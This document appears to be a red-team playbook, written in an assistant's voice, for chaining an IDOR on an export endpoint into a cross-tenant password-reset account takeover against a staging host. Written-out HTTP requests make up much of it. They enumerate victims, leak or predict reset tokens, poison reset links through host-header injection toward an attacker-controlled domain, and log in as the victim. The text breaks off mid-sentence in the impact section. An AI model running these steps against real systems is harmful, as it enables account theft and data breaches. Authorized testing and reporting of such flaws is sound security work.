Chain: IDOR → Tenant Account Takeover (ATO)
Assuming the classic pattern: the /api/export IDOR leaks data with tenant/user identifiers, and the reset flow validates email but binds the reset token to the requester's session rather than the target account. Verify each assumption against your app — I'll flag where to confirm.
Step 1 — Exploit the IDOR to harvest victim identity
Enumerate the export endpoint cross-tenant. The goal is a victim's email, user ID, and tenant ID.
GET /api/export?export_id=1042 HTTP/1.1
Host: acme-staging.test
Authorization: Bearer <attacker-token>
Accept: application/json
Vary export_id (or whatever the object selector is — check whether it's a sequential ID, UUID, or tenant-scoped). Watch for two distinct failure modes:
- Tenant-scoped but not user-scoped: you can only reach victims within your tenant. If the reset flow is also tenant-scoped, your chain stays inside one tenant — still a valid ATO demo, but scope the report accordingly.
- Fully unscoped: any
export_id works cross-tenant.
Confirm by diffing response tenant_id / user_id fields against your own session's JWT claims.
If the export body doesn't contain the victim's email, look for it in metadata: owner, created_by, account_email, or pull it via a second IDOR on a user/profile endpoint (/api/users/<id>).
Step 2 — Trigger password reset for the victim
Most apps don't authenticate this endpoint:
POST /api/auth/reset-password HTTP/1.1
Host: acme-staging.test
Content-Type: application/json
{"email": "[email protected]"}
Critical check — the response. Capture the full response body and headers:
{"message": "reset email sent", "token": "a1b2c3...", "expires_in": 900}
Many staging builds leak the token here (debug mode, verbose errors), which collapses the chain to two requests. If the token isn't in the response, you need Step 3.
Also test response/time-based user enumeration: compare response timing and body for [email protected] vs. [email protected].
Step 3 — Obtain or predict the reset token
In order of preference:
- Token in reset email is predictable: capture your own reset token (use
[email protected], then attacker+2@... for several resets). Look for sequential values, short tokens, timestamp-embedded tokens, or unsalted hashes of user_id + date. If tokens are like md5(user_id) or <timestamp>-<counter>, predict the victim's. - Token leakage via adjacent IDOR: many apps expose "recent activity" or notification endpoints with the same broken authz:
GET /api/users/<victim_user_id>/notifications
GET /api/users/<victim_user_id>/activity
Reset emails often get logged as in-app notifications containing the raw link (/reset-password?token=...).
- Token not bound to the requester: some implementations bind the token to the session that initiated the reset rather than the target account. Test this on yourself first: request a reset, then complete it from a different browser/incognito session. If it works, the token is global and you're done — use the victim's token directly.
- Host-header injection (if 1–3 fail): poison the reset email's link:
POST /api/auth/reset-password HTTP/1.1
Host: attacker-controlled.acme-staging.test
Content-Type: application/json
{"email": "[email protected]"}
Only viable if you control a DNS name or the app trusts arbitrary Host headers — in staging, often true.
Step 4 — Complete the reset
POST /api/auth/reset-password/confirm HTTP/1.1
Host: acme-staging.test
Content-Type: application/json
{"token": "<victim-token>", "password": "R3dT34mP@ss!"}
Watch the response: some apps return the new session token directly ({"access_token": "..."}), which is your proof-of-access artifact. Others require a fresh login:
POST /api/auth/login HTTP/1.1
Host: acme-staging.test
Content-Type: application/json
{"email": "[email protected]", "password": "R3dT34mP@ss!"}
Step 5 — Prove cross-tenant access
The evidence needs to show (a) you authenticated as the victim and (b) you can read their tenant's data. Three artifacts:
- Decode the session JWT post-login — show
tenant_id/org_id differs from yours while the token came from your attack machine:
eyJ... -> {"sub": "usr_8842", "tenant_id": "tenant-b", "email": "[email protected]", "exp": ...}
- Read victim-only data through a benign, read-only endpoint (avoid writes — this is their staging with real-ish data):
GET /api/export?export_id=1042 HTTP/1.1
Authorization: Bearer <victim-token>
Same object you IDOR'd in Step 1, now accessed as the victim — that closes the loop: the IDOR found it, the ATO legitimately owns it.
- Timestamped evidence bundle: raw request/response pairs (Burp export or
mitmproxy flows), the JWT decoded with iat/exp, and a screenshot of the victim's dashboard/profile page. If your client wants video, the whole chain runs in ~60 seconds.
Impact framing for the report
- Cross-tenant data access on a multi-tenant SaaS = full isolation failure, not just an account compromise.
- Note persistence/stealth: resetting a password may notify the victim (check if the app emails "your password was changed") — mention detection